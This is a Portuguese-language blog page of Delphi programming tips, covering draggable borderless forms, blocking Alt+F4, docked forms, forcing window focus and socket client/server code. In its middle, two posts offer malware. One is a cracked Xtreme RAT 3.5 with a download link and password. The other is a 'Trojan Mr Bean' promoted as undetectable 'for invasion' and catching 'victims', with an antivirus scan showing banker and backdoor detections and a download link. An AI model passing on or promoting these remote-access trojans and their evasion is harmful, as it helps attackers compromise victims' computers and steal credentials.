Dicas e Sources Diversas em um Só Lugar

Toda Semana umas source nova para estudo!

Dicas e Sources Diversas em um Só Lugar

“Você tem privacidade zero, de qualquer forma. Acostume-se a isso.”

Dicas e Sources Diversas em um Só Lugar

“Qualquer tecnologia suficientemente avançada é indistinguível da mágica.”

Dicas e Sources Diversas em um Só Lugar

“A melhor maneira de prever o futuro é inventá-lo.”

domingo, 27 de julho de 2014

Criar form sem título que possa ser arrastado

Problema: Fazer um relógio num form é fácil. Porém gostaria que esse form não possuísse a barra de título, mas que o usuário ainda pudesse arrastá-lo com o mouse. Isto é possível no Delphi? Solução: Sim, é possível e é fácil. Siga os passos abaixo: - Crie um novo projeto; - Mude as seguintes propriedades do Form1: BorderStyle = bsNone, FormStyle = fsStayOnTop, - Coloque um Label; - Coloque um Timer; - Altere o evento OnTimer do Timer1 conforme abaixo: procedure TForm1.Timer1Timer(Sender: TObject); begin Label1.Caption := TimeToStr(Time); end; - Altere o evento OnCreate do Form1 conforme abaixo: procedure TForm1.FormCreate(Sender: TObject); begin Width := 80; Height := 40; Label1.Left := 10; Label1.Top := 10; end; - Vá na seção private do Form1 e declare a procedure abaixo: private procedure WMNCHitTest(var Msg: TMessage); message WM_NCHitTest; public { Public declarations } end; - Vá na seção implementation e escreva a procedure abaixo: implementation {$R *.DFM} procedure TForm1.WMNCHitTest(var Msg: TMessage); begin if GetAsyncKeyState(VK_LBUTTON) < 0 then Msg.Result := HTCAPTION else Msg.Result := HTCLIENT; end; - Execute e experimente arrastar form com o mouse. Observações Para fechar este aplicativo pressione Alt+F4. Uma alternativa mais elegante é colocar um menu local (PopupMenu) com um comando para fechar.

Impedir que o form seja arrastado para fora das margens da tela

- Na seção Private declare a procedure abaixo: private procedure WMMove(var Msg: TWMMove); message WM_MOVE; - Abaixo da palavra implementation escreva a procedure abaixo: procedure TForm1.WMMove(var Msg: TWMMove); begin if Left < 0 then Left := 0; if Top < 0 then Top := 0; if Screen.Width - (Left + Width) < 0 then Left := Screen.Width - Width; if Screen.Height - (Top + Height) < 0 then Top := Screen.Height - Height; end; Para testar: - Execute o programa e tente arrastar o form para fora das margens da tela e veja o que acontece.

Impedir que o form seja fechado com Alt+F4

Este é um problema fácil de resolver. Vejamos porque. Toda vez que um form recebe um comando para ser fechado, tal como Form1.Close ou mesmo uma mensagem WM_CLOSE, o evento OnCloseQuery é disparado. Este evento passa um parâmetro por referência normalmente chamado CanClose. Se alternarmos o valor deste parâmetro para false o processo de fechar o formulário será cancelado. Uma vez que queremos impedir que o form seja fechado com Alt+F4, temos que dar ao usuário outra forma de fechá-lo. Neste exemplo vamos colocar um botão para esta tarefa. Vamos aos passos: 1. Declare um campo (variável) na seção private do Form: private FPodeFechar: boolean; 2. No evento OnCreate do form coloque: FPodeFechar := false; 3. No evento OnCloseQuery do form coloque: CanClose := FPodeFechar; 4. Coloque um botão no form e no seu evento Click coloque: FPodeFechar := true; Close; Pronto! Execute e teste.

Anexar dois forms

É comum encontrarmos aplicativos que possuem dois ou mais formulários que se mantém o tempo todo "colados" um ao outro. É o caso, por exemplo, do conhecido Winamp. Como fazer isto em aplicações Delphi? Vamos aos passos: 1. Crie um novo projeto com um form (Form1). 2. Adicione mais um form (Form2). 3. Declare os métodos abaixo na seção private do Form1: private procedure AjustarForm2; procedure WMMove(var Msg: TMessage); message WM_MOVE; 4. Abaixo da palavra implementation escreva: procedure TForm1.AjustarForm2; begin if Form2 <> nil then begin Form2.Width := Width; Form2.Left := Left; Form2.Top := Top + Height; end; end; procedure TForm1.WMMove(var Msg: TMessage); begin AjustarForm2; end; 5. Escreva o evento OnShow do Form1 como abaixo: procedure TForm1.FormShow(Sender: TObject); begin Form2.Show; end; 6. Escreve o evento OnHide do Form1 como abaixo: procedure TForm1.FormHide(Sender: TObject); begin Form2.Hide; end; 7. Escreve o evento OnReSize do Form1 como abaixo: procedure TForm1.FormResize(Sender: TObject); begin AjustarForm2; end; Pronto! Execute e experimente arrastar ou redimensionar o Form1 para ver o efeito.

Forçar foco em janela

As funções abaixo forçam para que a janela informada fique em primeiro plano. Primeira alternativa function ForceForegroundWindow(hwnd: THandle): Boolean; const SPI_GETFOREGROUNDLOCKTIMEOUT = $2000; SPI_SETFOREGROUNDLOCKTIMEOUT = $2001; var ForegroundThreadID: DWORD; ThisThreadID: DWORD; timeout: DWORD; begin if IsIconic(hwnd) then ShowWindow(hwnd, SW_RESTORE); if GetForegroundWindow = hwnd then Result := True else begin // Windows 98/2000 doesn't want to foreground a window when some other // window has keyboard focus if ((Win32Platform = VER_PLATFORM_WIN32_NT) and (Win32MajorVersion > 4)) or ((Win32Platform = VER_PLATFORM_WIN32_WINDOWS) and ((Win32MajorVersion > 4) or ((Win32MajorVersion = 4) and (Win32MinorVersion > 0)))) then begin // Code from Karl E. Peterson, www.mvps.org/vb/sample.htm // Converted to Delphi by Ray Lischner // Published in The Delphi Magazine 55, page 16 Result := False; ForegroundThreadID := GetWindowThreadProcessID(GetForegroundWindow, nil); ThisThreadID := GetWindowThreadPRocessId(hwnd, nil); if AttachThreadInput(ThisThreadID, ForegroundThreadID, True) then begin BringWindowToTop(hwnd); // IE 5.5 related hack SetForegroundWindow(hwnd); AttachThreadInput(ThisThreadID, ForegroundThreadID, False); Result := (GetForegroundWindow = hwnd); end; if not Result then begin // Code by Daniel P. Stasinski SystemParametersInfo(SPI_GETFOREGROUNDLOCKTIMEOUT, 0, @timeout, 0); SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, TObject(0), SPIF_SENDCHANGE); BringWindowToTop(hwnd); // IE 5.5 related hack SetForegroundWindow(hWnd); SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, TObject(timeout), SPIF_SENDCHANGE); end; end else begin BringWindowToTop(hwnd); // IE 5.5 related hack SetForegroundWindow(hwnd); end; Result := (GetForegroundWindow = hwnd); end; end; { ForceForegroundWindow } Segunda alternativa A função abaixo consegue forçar o foco na janela especificada criando-se um formulário com dimensão de um apenas 1 ponto e simulando um clique de mouse neste formulário para que a aplicação receba o foco de entrada. Em seguida a janela especificada é colocada em primeiro plano usando-se a função SetForegroundWindow da API do Windows. procedure ForceForegroundWindow(hwnd: THandle); // (W) 2001 Daniel Rolf // http://www.finecode.de // rolf@finecode.de var hlp: TForm; begin hlp := TForm.Create(nil); try hlp.BorderStyle := bsNone; hlp.SetBounds(0, 0, 1, 1); hlp.FormStyle := fsStayOnTop; hlp.Show; mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); SetForegroundWindow(hwnd); finally hlp.Free; end; end; Terceira alternativa A biblioteca USER32.DLL possui uma função não documentada que propõe forçar o foco em determinada janela. A declaração da função é: procedure SwitchToThisWindow(h1: hWnd; x: bool); stdcall; external user32 Name 'SwitchToThisWindow'; {x = false: Size unchanged, x = true: normal size} { Exemplo } procedure TForm1.Button2Click(Sender: TObject); begin SwitchToThisWindow(FindWindow('notepad', nil), True); end; Atenção! Nos testes que fiz usando Windows XP Professional e Delphi 6, a primeira e segunda alternativas funcionaram perfeitamente A última não funcionou nos testes, mas foi mantida aqui para que outras pessoas possam experimentá-la.

quinta-feira, 24 de julho de 2014

Xtreme Rat 3.5 Private! Fixed Version ! Cracked by The Old Warrio

                                                                               versão 3.5
                                                                                mudanças:
                                              - Adicionada opção para ativar ou desativar Skins
                 - Adicionado opção para mudar a data de criação dos seus servidores (selecione Ocultar Server)
                                             -  Adicionado versão Firefox 10 senhas
                                             - Opção para alterar os grupos fixos
                 - Novos skins adicionado (download skins.zip e extraí-lo para a pasta skins)
                                            - Opção para selecionar a notificar imagem de cada servidor
                                           - Muitas pequenas melhorias e correções de bugs

                                                                               Download
                                                      http://www.sendspace.com/file/yo47br
                                                      pass: www.perfect-hackers.com

Trojan Mr Bean (Piroca 3.0Cm)

Eai meninos e menins hoje dia 24/07/2014 trago a vocês um trojan bem eficiente para invasão. Bom o trojan e fud então se vc n tiver um crypter vai pega umas vitimas legais. Pois bem vamos lá deixa sua imagem.



Eai vai o Scan do Server:

Filename : stub.exe
               Type : File
               Filesize : 784896 bytes
               Date : 23/07/2014 - 01:09 GMT+2
               MD5 : 09674528510defcd956b39523b7b37a5
               SHA1 : 13efd111bf4bc477958922968c61109dfaa9ecfe
               Status : Infected
               Result :3/35
               
                  AVG Free - OK
                  Avast - Win32:Banker-KUQ [Trj]
                  AntiVir (Avira) - TR/Spy.Banker.Gen
                  BitDefender - OK
                  Clam Antivirus - OK
                  COMODO Internet Security - OK
                  Dr.Web - OK
                  eTrust-Vet - OK
                  F-PROT Antivirus - OK
                  F-Secure Internet Security - OK
                  G Data - OK
                  IKARUS Security - OK
                  Kaspersky Antivirus - OK
                  McAfee - OK
                  MS Security Essentials - OK
                  ESET NOD32 - Backdoor.Win32/Delf.OKU
                  Norman - OK
                  Norton Antivirus - OK
                  Panda Security - OK
                  A-Squared - OK
                  Quick Heal Antivirus - OK
                  Solo Antivirus - OK
                  Sophos - OK
                  Trend Micro Internet Security - OK
                  VBA32 Antivirus - OK
                  Zoner AntiVirus - OK
                  Ad-Aware - OK
                  BullGuard - OK
                  FortiClient - OK
                  K7 Ultimate - OK
                  NANO Antivirus - OK
                  Panda CommandLine - OK
                  SUPERAntiSpyware - OK
                  Twister Antivirus - OK
                  VIPRE - OK
            
               Scan Result: http://scan.majyx.net/result.php?sid=74706
               Scan by MaJyx Scanner


Link para Baixa: http://www.4shared.com/file/_WJp-_-1ce/Trojan_Mr_Bean__Piroca_30Cm_.html?

Sockets em Delphi com Variáveis numéricas

Para fazer a comunicação (escrita e leitura) de variáveis que não são texto, devem ser usados os métodos



ReceiveBuf ao invés de ReceiveText
e

SendBuf ao invés de SendText



O exemplo a seguir é semelhante ao anterior, porém permite a comunicação enviando e recebendo um número inteiro.

O programa a seguir pode se comunicar com o servidor do exemplo desenvolvido em linguagem C para Linux.



unit UnCliente;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, StdCtrls;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    Button1: TButton;
    Edit1: TEdit;
    Button2: TButton;
    Edit2: TEdit;
    Edit3: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  meunro, nrorec: integer;
implementation

{$R *.DFM}

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
showmessage('conectou');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=edit1.text;
ClientSocket1.port:=strtointdef(edit2.text,0);
ClientSocket1.Active:=true;
Button2.Enabled:=true;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
meunro:=strtointdef(Edit3.text,0);
ClientSocket1.Socket.SendBuf(meunro,sizeof(meunro));
if nrorec>0 then
    begin
    if (nrorec + meunro) mod 2 <> 0 then
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ GANHOU!');
        end
    else
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ PERDEU!');
        end;
    nrorec:=0;
    meunro:=0;
    end;
end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Socket.ReceiveBuf(nrorec,sizeof(nrorec));
if meunro > 0 then
    begin
    if (nrorec + meunro) mod 2 <> 0 then
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ GANHOU!');
        end
    else
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ PERDEU!');
        end;
    nrorec:=0;
    meunro:=0;
    end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
button2.Enabled:=false;
end;

end.

Poste retirado do Blog: http://blogprogramadores.blogspot.com.br/2010/07/sockets-em-delphi.html

Sockets em Delphi

Eai Rapaziada eu tava fora de cena hehe, mais agora vou começa a posta coisa sobre delphi, por isso criei esse blog novo! vou ta postando aqui como e feita a conexão entre socket. Client e Servidor!

Servidor


Para programar um servidor com sockets em Delphi, crie uma nova aplicação e inclua um componente SERVERSOCKET que está na palheta INTERNET. Configure a porta de comunicação (PORT) e defina ACTIVE como true.
Para fazer o envio de uma mensagem utilize:
ServerSocket1.Socket.Connections[0].SendText( texto a ser enviado );
Para receber uma mensagem utilize o evento onClientRead



Cliente

Para programar um cliente com sockets em Delphi, crie uma nova aplicação e inclua um componente CLIENTSOCKET que está na palheta INTERNET. Configure o servidor através do endereço (ADDRESS) ou o nome do servidor (HOST), a porta de comunicação (PORT) e defina ACTIVE como true.
Para fazer o envio de uma mensagem utilize:
ClientSocket1.Socket.SendText( texto a ser enviado );
Para receber uma mensagem utilize o evento onClientRead

Propriedades do ServerSocket:

Port = 3100
ServerType = stNonBlocking
Active = True

unit UnServidor;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, StdCtrls;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Label2: TLabel;
    Edit1: TEdit;
    Button1: TButton;
    ServerSocket1: TServerSocket;
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Button1Click(Sender: TObject);
    procedure ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  meunro, nrorec: integer;

implementation

{$R *.DFM}

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
nrorec:= strtointdef(Socket.ReceiveText,0);
if meunro > 0 then
    begin
    if (nrorec + meunro) mod 2 = 0 then
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ GANHOU!');
        end
    else
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ PERDEU!');
        end;
    nrorec:=0;
    meunro:=0;
    end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
meunro:=strtointdef(Edit1.text,0);
ServerSocket1.Socket.Connections[0].SendText(Edit1.text);
if nrorec>0 then
    begin
    if (nrorec + meunro) mod 2 = 0 then
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ GANHOU!');
        end
    else
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ PERDEU!');
        end;
    nrorec:=0;
    meunro:=0;
    end;
end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
showmessage('Cliente conectou!');
Button1.Enabled:=true;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Button1.Enabled:=false;
end;

end.

unit UnCliente;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ScktComp;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    Label1: TLabel;
    Label2: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Button1: TButton;
    Button2: TButton;
    Label3: TLabel;
    Edit3: TEdit;
    Label4: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure Button2Click(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  meunro, nrorec: integer;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=edit1.text;
ClientSocket1.port:=strtointdef(edit2.text,0);
ClientSocket1.Active:=true;
Button2.Enabled:=true;
end;

 
 
 
 
procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
begin
nrorec:= strtointdef(Socket.ReceiveText,0);
if meunro > 0 then
    begin
    if (nrorec + meunro) mod 2 <> 0 then
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ GANHOU!');
        end
    else
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ PERDEU!');
        end;
    nrorec:=0;
    meunro:=0;
    end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
meunro:=strtointdef(Edit3.text,0);
ClientSocket1.Socket.SendText(Edit3.text);
if nrorec>0 then
    begin
    if (nrorec + meunro) mod 2 <> 0 then
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ GANHOU!');
        end
    else
        begin
        showmessage('Seu Nro: ' + inttostr(meunro) + '   Nro Recebido: '+ inttostr(nrorec) + '  VOCÊ PERDEU!');
        end;
    nrorec:=0;
    meunro:=0;
    end;
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
showmessage('Conectado!');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
button2.Enabled:=false;
end;

end.
Poste retirado do Blog: http://blogprogramadores.blogspot.com.br/2010/07/sockets-em-delphi.html
← Postagens mais recentes Página inicial